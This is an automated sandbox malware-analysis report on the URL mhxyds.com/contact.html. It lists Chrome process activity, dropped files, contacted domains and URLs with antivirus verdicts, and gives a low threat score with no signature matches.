
ID: 682144
Cookbook: browseurl.jbs
Time: 05:40:39
Date: 11/08/2022
Version: 35.0.0 Citrine
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Created / dropped Files
C:\Users\user\AppData\Local\Google\Chrome\User Data\1110f44a-f2ef-4140-ab0b-b72de3a634ad.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\1f3483ce-30c3-45c9-a832-8dafebe06efc.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\2482284d-ca60-43ad-8d8b-c6624e96323a.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\2b4c43bd-3c11-4a2f-83cd-930a0ee41e57.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\3ea9e6bd-57bf-40f6-8ae4-0c0bd7e7c56f.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\76ba77cc-c090-4ff8-8314-b52e7327f6f2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\9e10fd97-bbf3-415a-9ace-efad08c97e88.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Crashpad\settings.dat
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\28437055-8c6e-44bd-9e8b-8097daeab257.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\5e118828-c9a3-472b-ae41-18922c3b26b1.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\65f41ec1-4431-4df8-b1eb-6d778da6efec.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\6b7d5085-f580-47b7-9437-89659e8b0dc4.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\9e4766e5-ac0e-4878-8485-3c797e9a4421.tmp
C:\Users\user\AppData\Local\Google\Chrome\User
Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_1\_metadata\computed_hashes.json
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network Persistent State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Secure Preferences (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\0a0621bb-012a-4c03-8b47-
1b5f8260f203.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\88ea9396-9278-4890-9f3f-
5bd151a38302.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\6d447b95-086a-4941-b24f-
e9c19e6792a1.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State
(copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Trusted Vault (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a335b981-46f5-449b-b993-29ec6cd6cec2.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\a45c89f2-52bd-4bfc-8844-7c8df1ed0bcc.tmp
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C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cc21b17d-db30-4389-8b95-a6e19e5f5f79.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\cca83444-a3c6-40dd-9f5c-1e8f439fa8a8.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\000022.dbtmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\data_reduction_proxy_leveldb\CURRENT (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\eaf1358a-d8f7-40ce-8404-ee5fba5710ec.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Browser
C:\Users\user\AppData\Local\Google\Chrome\User Data\Last Version
C:\Users\user\AppData\Local\Google\Chrome\User Data\Local State (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\Module Info Cache (copy)
C:\Users\user\AppData\Local\Google\Chrome\User Data\c7c9cc65-4903-4b68-959f-0da378ad1da8.tmp
C:\Users\user\AppData\Local\Google\Chrome\User Data\ec69f745-ab4c-4bf0-8937-37e1817c95b2.tmp
C:\Users\user\AppData\Local\Temp\462f2cf1-f88b-4b6a-a1ce-2252d1dfe89c.tmp
C:\Users\user\AppData\Local\Temp\587d3c8b-c911-498a-8133-8428a3317a4a.tmp
C:\Users\user\AppData\Local\Temp\7eea2f47-602a-4750-81a2-5dd8cf16ed32.tmp
C:\Users\user\AppData\Local\Temp\a6d0e17e-60e9-4995-b3e7-ce64d5833631.tmp
C:\Users\user\AppData\Local\Temp\b1ca2ea4-c89d-4f93-95cc-59b8c2cd49f7.tmp
C:\Users\user\AppData\Local\Temp\dd59916f-f1b1-48e8-8076-983fda0bf43f.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\462f2cf1-f88b-4b6a-a1ce-2252d1dfe89c.tmp
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\bg\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ca\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\cs\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\da\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\de\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\el\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\en\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\en_GB\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\es\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\es_419\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\et\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fil\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\fr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\hu\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\id\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\it\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ja\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ko\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\lt\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\lv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\nb\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\nl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pt_BR\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\pt_PT\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ro\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\ru\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sl\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\sv\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\th\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\tr\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\uk\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\vi\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\zh_CN\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_locales\zh_TW\messages.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\_metadata\verified_contents.json
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\craw_background.js
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\craw_window.js
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\css\craw_window.css
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\html\craw_window.html
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\flapper.gif
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\icon_128.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\icon_16.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_close.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_hover.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_maximize.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\images\topbar_floating_button_pressed.png
C:\Users\user\AppData\Local\Temp\scoped_dir1064_1943311683\CRX_INSTALL\manifest.json
C:\Users\user\AppData\Roaming\Microsoft\Spelling\en-US\default.acl

Static File Info
Network Behavior

Network Port Distribution
TCP Packets
UDP Packets
DNS Queries
DNS Answers
HTTP Request Dependency Graph
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Statistics

Behavior
System Behavior

Analysis Process: chrome.exePID: 1064, Parent PID: 7976
General
File Activities
Registry Activities

Analysis Process: chrome.exePID: 6216, Parent PID: 1064
General
File Activities

Analysis Process: chrome.exePID: 628, Parent PID: 7976
General
File Activities
Registry Activities

Analysis Process: chrome.exePID: 8472, Parent PID: 1064
General

Disassembly
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Windows Analysis Report 
https://mhxyds.com/contact.html

Overview

General Information

Sample URL:
https://mhxyds.com/conta
ct.html

Analysis ID: 682144

Infos:

Detection

Score: 2

Range: 0 - 100

Whitelisted: false

Confidence: 80%

Signatures

HTML body contains low number of …

Found iframes

No HTML title found

Form action URLs do not match ma…

Classification

Ransomware

Spreading

Phishing

Banker

Trojan / Bot

Adware

Spyware

Exploiter

Evader

Miner

clean

clean

clean

clean

clean

clean

clean

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

suspicious

malicious

malicious

malicious

malicious

malicious

malicious

malicious

System is w10x64native

chrome.exe (PID: 1064 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank MD5: 464953824E644F10FFDC9E093FD18F94)

chrome.exe (PID: 6216 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-

handle=1704,14190051148730696993,15132662453529190112,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 /prefetch:8 MD5:
464953824E644F10FFDC9E093FD18F94)

chrome.exe (PID: 8472 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --field-trial-

handle=1704,14190051148730696993,15132662453529190112,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5876 /prefetch:8 MD5:
464953824E644F10FFDC9E093FD18F94)
chrome.exe (PID: 628 cmdline: C:\Program Files\Google\Chrome\Application\chrome.exe" "https://mhxyds.com/contact.html MD5: 464953824E644F10FFDC9E093FD18F94)

cleanup

⊘ No configs have been found

⊘ No yara matches

⊘ No Sigma rule has matched

Process Tree

Malware Configuration

Yara Signatures

Sigma Signatures
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There are no malicious signatures, There are no malicious signatures, click here to show all signaturesclick here to show all signatures ..

⊘ No Snort rule has matched
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and
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Device
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Behavior Graph
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Behavior Graph
ID: 682144

URL: https://mhxyds.com/contact.html

Startdate: 11/08/2022

Architecture: WINDOWS

Score: 2

www.google.com mhxyds.com 4 other IPs or domains

chrome.exe

17 291

        started       

chrome.exe

2

        started       

192.168.11.1

unknown

unknown

192.168.11.20, 137, 1900, 443

unknown

unknown

239.255.255.250, 1900

unknown

Reserved

chrome.exe

53

        started       

chrome.exe

        started       

58.254.150.48, 443, 53253, 64745

UNICOM-GUANGZHOU-IDCChinaUnicomGuangdongIPnetworkCN

China

162.247.241.14, 443, 49672, 51391

NEWRELIC-AS-1US

United States

20 other IPs or domains

Legend:

Process

Signature

Created File

DNS/IP Info

Is Dropped

Is Windows Process

Number of created Registry Values

Number of created Files

Visual Basic

Delphi

Java

.Net C# or VB.NET

C, C++ or other language

Is malicious

Internet

Hide Legend

This section contains all screenshots as thumbnails, including those not shown in the slideshow.

Screenshots

Thumbnails
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Source Detection Scanner Label Link

https://mhxyds.com/contact.html 0% Avira URL Cloud safe

⊘ No Antivirus matches

⊘ No Antivirus matches

Source Detection Scanner Label Link

chrome.cloudflare-dns.com 0% Virustotal Browse

mhxyds.com 0% Virustotal Browse

Source Detection Scanner Label Link

https://iframes.perpetualequity.com.au/_Modules/CorporateActions/PriceVolumeChartModule/priceVolu
meChartInit.js

0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 0% Avira URL Cloud safe

https://iframes.perpetualequity.com.au/Scripts/js_list_compressed_2_2_8227.js?20220717081501 0% Avira URL Cloud safe

https://dns.quad9.net 0% Avira URL Cloud safe

https://mhxyds.com/jpg/hero%20peic7c4f.jpg?
h=419&la=en&mw=800&w=746&hash=1D7E8F4BD6C5FA5B5C7A265D08D4197FA72551AA

0% Avira URL Cloud safe

https://mhxyds.com/layouts/system/VisitorIdentificationCSS.aspx?1660193000845 0% Avira URL Cloud safe

https://mhxyds.com/css/fields.css 0% Avira URL Cloud safe

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Copyright Joe Security LLC 2022 Page 8 of 310

https://www.virustotal.com/gui/url/b8fc4447470daa8c74edc1371244f1e5dcec6b815df87a664a819133b4a14fce/detection/u-b8fc4447470daa8c74edc1371244f1e5dcec6b815df87a664a819133b4a14fce-1660014962
https://www.virustotal.com/gui/url/3fc8bb1ca2b79da23c1b832c58b9cefddb6a1e05fea0ec5f3cba9c6b1d2a5ff9/detection/u-3fc8bb1ca2b79da23c1b832c58b9cefddb6a1e05fea0ec5f3cba9c6b1d2a5ff9-1451749390


https://mhxyds.com/jpg/understanding-the-lic-structure-746x419-1f46b.jpg?
mw=285&hash=C8C36499F66CAC27725EBD92450D8783215D5F03

0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/haoli4.png 0% Avira URL Cloud safe

https://mhxyds.com/js/sc.fields-unobtrusive.js 0% Avira URL Cloud safe

https://mhxyds.com/js/modernizr.min6b70.js?v=636160472800000000 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.woff 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.woff 0% Avira URL Cloud safe

https://mhxyds.com/img/logo.svg 0% Avira URL Cloud safe

https://mhxyds.com/jpg/webinar-banner-1-1665-x-5503649.jpg?
w=1000&hash=C46449DD65874A2AC83E8E310F0A237DE1101A22

0% Avira URL Cloud safe

https://dnstranfer.com/direct/jump.js 0% Avira URL Cloud safe

https://dnstranfer.com/static/image/img-andriod-tips@2x.png 0% Avira URL Cloud safe

https://mhxyds.com/css/style.minb90e.css?v=637328095360000000 0% Avira URL Cloud safe

https://mhxyds.com/js/jquery.validate.js 0% Avira URL Cloud safe

https://mhxyds.com/~/media/perpetual/images/hero-sp-banners/webinar-banner-1-1665-x-
550.ashx?w=2200&hash=CC192888C22F1629AD546396726254CA71C13731

0% Avira URL Cloud safe

https://mhxyds.com/jpg/karen%20davis%20photo2a51c.jpg?
h=73&w=55&la=en&hash=B38EE530183F7DA7894D1D4C64E54362342370D4

0% Avira URL Cloud safe

https://dnstranfer.com/direct/main.js 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/pay1.png 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/foot-img.png 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/right.png 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/btn-bg.png 0% Avira URL Cloud safe

https://mhxyds.com/img/logo-footer.svg 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/haoli1.png 0% Avira URL Cloud safe

https://mhxyds.com/js/jquery-1.8.2.min.js 0% Avira URL Cloud safe

https://mhxyds.com/jpg/hero%20peicc2c4.jpg?
mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355

0% Avira URL Cloud safe

https://mhxyds.com/js/sc.fields-events-tracking.js 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/js/popup-main-page.js 0% Avira URL Cloud safe

https://mhxyds.com/js/visitoridentification.js 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.ttf 0% Avira URL Cloud safe

https://mhxyds.com/~/media/perpetualpeic/images/hero-sp-banners/website-image-
1_1665x550.ashx?w=2200&hash=BE4181F04B84F74A757ECFDF8522E33EE398B202

0% Avira URL Cloud safe

https://mhxyds.com/css/jquery-ui.min.css 0% Avira URL Cloud safe

https://mhxyds.com/js/main.js 0% Avira URL Cloud safe

https://mhxyds.com/jpg/perpetual-knowledge-bank-series-reporting-season-746x4190ae6.jpg?
mw=285&hash=CC9B6A2517D6517FA98B06A38A407613637A6C0F

0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/vendor/bootstrap/glyphicons-halflings-regular.ttf 0% Avira URL Cloud safe

https://iframes.perpetualequity.com.au/_Resource/_module/1tsuXa2q3UCbZ_-sdLg1BQ/PIC-
iframe-styles_1.css

0% Avira URL Cloud safe

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fabout.html&title=About%20%7C%20Perpetual&res=1920x1080
&accountid=83202&rt=1724&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=60e5a47e-d465-
5bdf-41f4-402fa42d9b4c&rnd=41050

0% Avira URL Cloud safe

https://mhxyds.com/gtm5445.html?id=GTM-WNXQNKG 0% Avira URL Cloud safe

https://mhxyds.com/js/jquery-ui-1.8.24.js 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.ttf 0% Avira URL Cloud safe

https://mhxyds.com/png/tmc0ce.png?
h=73&w=55&la=en&hash=96F86B1DC04644EE7ED2DE1ED649AAFE79C5D556

0% Avira URL Cloud safe

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fcontact.html&title=Contact%20%7C%20Perpetual&res=1920x1
080&accountid=83202&rt=9210&prev=f0b268dd-a818-0db6-9ca3-86cfebd962e9&luid=1b876654-67e3-
1fe2-3afc-0b270dc8c413&rnd=46192

0% Avira URL Cloud safe

https://mhxyds.com/js/sc.fields-date.js 0% Avira URL Cloud safe

https://mhxyds.com/png/thad77.png?
h=73&w=55&la=en&hash=4311F49121FFFAB00AC2A81710641D8C4BA0FCC4

0% Avira URL Cloud safe

https://mhxyds.com/js/sc.fields-captcha.js 0% Avira URL Cloud safe

https://mhxyds.com/jpg/hero_banner_746x419_peic_3656fa.jpg?
h=419&la=en&mw=800&w=746&hash=7C1F89192750291213D694E248308C865C3F5668

0% Avira URL Cloud safe

https://mhxyds.com/css/custom.css 0% Avira URL Cloud safe

https://mhxyds.com/js/picturefill.min6b70.js?v=636160472800000000 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.woff2 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/haoli3.jpg 0% Avira URL Cloud safe

https://mhxyds.com/js/jquery.validate.unobtrusive.js 0% Avira URL Cloud safe

Source Detection Scanner Label Link
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https://mhxyds.com/js/jquery.min.js 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/icon-icon-close@2x.png 0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/nhaynhay.gif 0% Avira URL Cloud safe

https://mhxyds.com/Resources/PerpetualPEIC/img/ajax-loader.gif 0% Avira URL Cloud safe

https://chrome.cloudflare-dns.com 0% Avira URL Cloud safe

https://mhxyds.com/js/iframeresizer.min.js 0% Avira URL Cloud safe

https://mhxyds.com/js/siteanalyze_83202.js 0% Avira URL Cloud safe

https://mhxyds.com/jpg/hero%20peic67d9.jpg?
h=368&la=en&mw=656&w=656&hash=4B1B64C75664486C9D64C51258F8B6C7EEFCB327

0% Avira URL Cloud safe

https://iframes.perpetualequity.com.au/FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8Ug/js/i
frameResizer.contentWindow.min.js

0% Avira URL Cloud safe

https://iframes.perpetualequity.com.au/FormBuilder/_Resource/_module/r1C2SHNItkyshZb6YUZ8Ug/js/
PIC-iframe-scripts.js

0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/left.png 0% Avira URL Cloud safe

https://83202.global.siteimproveanalytics.io/image.aspx?
url=https%3A%2F%2Fmhxyds.com%2Fshareholders.html&title=Shareholders%20%7C%20Perpetual&r
es=1920x1080&accountid=83202&rt=1716&prev=f0b268dd-a818-0db6-9ca3-
86cfebd962e9&luid=3769b23c-9bb0-95f9-aaa6-57229e53fe95&rnd=65555

0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/css/popup_skycodec.css 0% Avira URL Cloud safe

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.woff2 0% Avira URL Cloud safe

https://mhxyds.com/png/dm1ba0.png?
h=73&w=55&la=en&hash=3A295843D6CCFE8B1E8E1C1EE86E9D18CC8F9326

0% Avira URL Cloud safe

https://dnstranfer.com/lipgupiao/assets/images/bg-01.jpg 0% Avira URL Cloud safe

https://iframes.perpetualequity.com.au/_Modules/CorporateActions/PriceVolumeChartModule/priceVolu
meChart.js

0% Avira URL Cloud safe

Source Detection Scanner Label Link

Name IP Active Malicious Antivirus Detection Reputation

chrome.cloudflare-dns.com 172.64.145.85 true false 0%, Virustotal, Browse unknown

accounts.google.com 172.217.168.237 true false high

www.google.com 142.250.179.132 true false high

clients.l.google.com 142.250.203.206 true false high

mhxyds.com 118.27.105.118 true false 0%, Virustotal, Browse unknown

clients2.google.com unknown unknown false high

Name Malicious Antivirus Detection Reputation

https://iframes.perpetualequity.com.au/_Modules/CorporateActions/PriceVolumeChartModule/priceV
olumeChartInit.js

false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/vendor/bootstrap/glyphicons-halflings-regular.woff2 false Avira URL Cloud: safe unknown

https://iframes.perpetualequity.com.au/Scripts/js_list_compressed_2_2_8227.js?
20220717081501

false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/hero%20peic7c4f.jpg?
h=419&la=en&mw=800&w=746&hash=1D7E8F4BD6C5FA5B5C7A265D08D4197FA72551AA

false Avira URL Cloud: safe unknown

https://mhxyds.com/layouts/system/VisitorIdentificationCSS.aspx?1660193000845 false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fields.css false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/understanding-the-lic-structure-746x419-1f46b.jpg?
mw=285&hash=C8C36499F66CAC27725EBD92450D8783215D5F03

false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/haoli4.png false Avira URL Cloud: safe unknown

https://mhxyds.com/js/sc.fields-unobtrusive.js false Avira URL Cloud: safe unknown

https://mhxyds.com/js/modernizr.min6b70.js?v=636160472800000000 false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.woff false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_1_0.woff false Avira URL Cloud: safe unknown

https://mhxyds.com/img/logo.svg false Avira URL Cloud: safe unknown

Domains and IPs

Contacted Domains

Contacted URLs
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https://www.virustotal.com/gui/url/b8fc4447470daa8c74edc1371244f1e5dcec6b815df87a664a819133b4a14fce/detection/u-b8fc4447470daa8c74edc1371244f1e5dcec6b815df87a664a819133b4a14fce-1660014962
https://www.virustotal.com/gui/url/3fc8bb1ca2b79da23c1b832c58b9cefddb6a1e05fea0ec5f3cba9c6b1d2a5ff9/detection/u-3fc8bb1ca2b79da23c1b832c58b9cefddb6a1e05fea0ec5f3cba9c6b1d2a5ff9-1451749390


https://mhxyds.com/jpg/webinar-banner-1-1665-x-5503649.jpg?
w=1000&hash=C46449DD65874A2AC83E8E310F0A237DE1101A22

false Avira URL Cloud: safe unknown

https://dnstranfer.com/direct/jump.js false Avira URL Cloud: safe unknown

https://dnstranfer.com/static/image/img-andriod-tips@2x.png false Avira URL Cloud: safe unknown

https://clients2.google.com/service/update2/crx?
os=win&arch=x64&os_arch=x86_64&nacl_arch=x86-
64&prod=chromecrx&prodchannel=&prodversion=94.0.4606.61&lang=en-
US&acceptformat=crx3&x=id%3Dnmmhkkegccagdldgiimedpiccmgmieda%26v%3D0.0.0.0%26install
edby%3Dother%26uc%26ping%3Dr%253D-1%2526e%253D1

false high

https://mhxyds.com/css/style.minb90e.css?v=637328095360000000 false Avira URL Cloud: safe unknown

https://mhxyds.com/js/jquery.validate.js false Avira URL Cloud: safe unknown

https://mhxyds.com/~/media/perpetual/images/hero-sp-banners/webinar-banner-1-1665-x-
550.ashx?w=2200&hash=CC192888C22F1629AD546396726254CA71C13731

false Avira URL Cloud: safe unknown

https://mhxyds.com/jpg/karen%20davis%20photo2a51c.jpg?
h=73&w=55&la=en&hash=B38EE530183F7DA7894D1D4C64E54362342370D4

false Avira URL Cloud: safe unknown

https://dnstranfer.com/direct/main.js false Avira URL Cloud: safe unknown

https://mhxyds.com/index.php false unknown

https://dnstranfer.com/lipgupiao/assets/images/pay1.png false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/foot-img.png false Avira URL Cloud: safe unknown

https://sdk.51.la/js-sdk-pro.min.js false high

https://dnstranfer.com/lipgupiao/assets/images/right.png false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/btn-bg.png false Avira URL Cloud: safe unknown

https://mhxyds.com/img/logo-footer.svg false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/images/haoli1.png false Avira URL Cloud: safe unknown

https://dnstranfer.com/direct/index.html false unknown

https://mhxyds.com/index.php false unknown

https://mhxyds.com/js/jquery-1.8.2.min.js false Avira URL Cloud: safe unknown

https://iframes.perpetualequity.com.au/iframes/?page=share-price-graph false unknown

https://iframes.perpetualequity.com.au/iframes/?page=share-price-graph false unknown

https://mhxyds.com/jpg/hero%20peicc2c4.jpg?
mw=285&hash=3E47FCE246A72FBA35DB1562D6F9DD053E0F5355

false Avira URL Cloud: safe unknown

https://mhxyds.com/js/sc.fields-events-tracking.js false Avira URL Cloud: safe unknown

https://dnstranfer.com/lipgupiao/assets/js/popup-main-page.js false Avira URL Cloud: safe unknown

https://mhxyds.com/contact.html false unknown

https://mhxyds.com/about.html false unknown

https://mhxyds.com/about.html false unknown

https://iframes.perpetualequity.com.au/iframes/?page=investment-calculator false unknown

https://mhxyds.com/js/visitoridentification.js false Avira URL Cloud: safe unknown

https://mhxyds.com/css/fonts/helvetica-neue/2DF85E_0_0.ttf false Avira URL Cloud: safe unknown

https://mhxyds.com/~/media/perpetualpeic/images/hero-sp-banners/website-image-
1_1665x550.ashx?w=2200&hash=BE4181F04B84F74A757ECFDF8522E33EE398B202

false Avira URL Cloud: safe unknown

https://mhxyds.com/css/jquery-ui.min.css false Avira URL Cloud: safe unknown

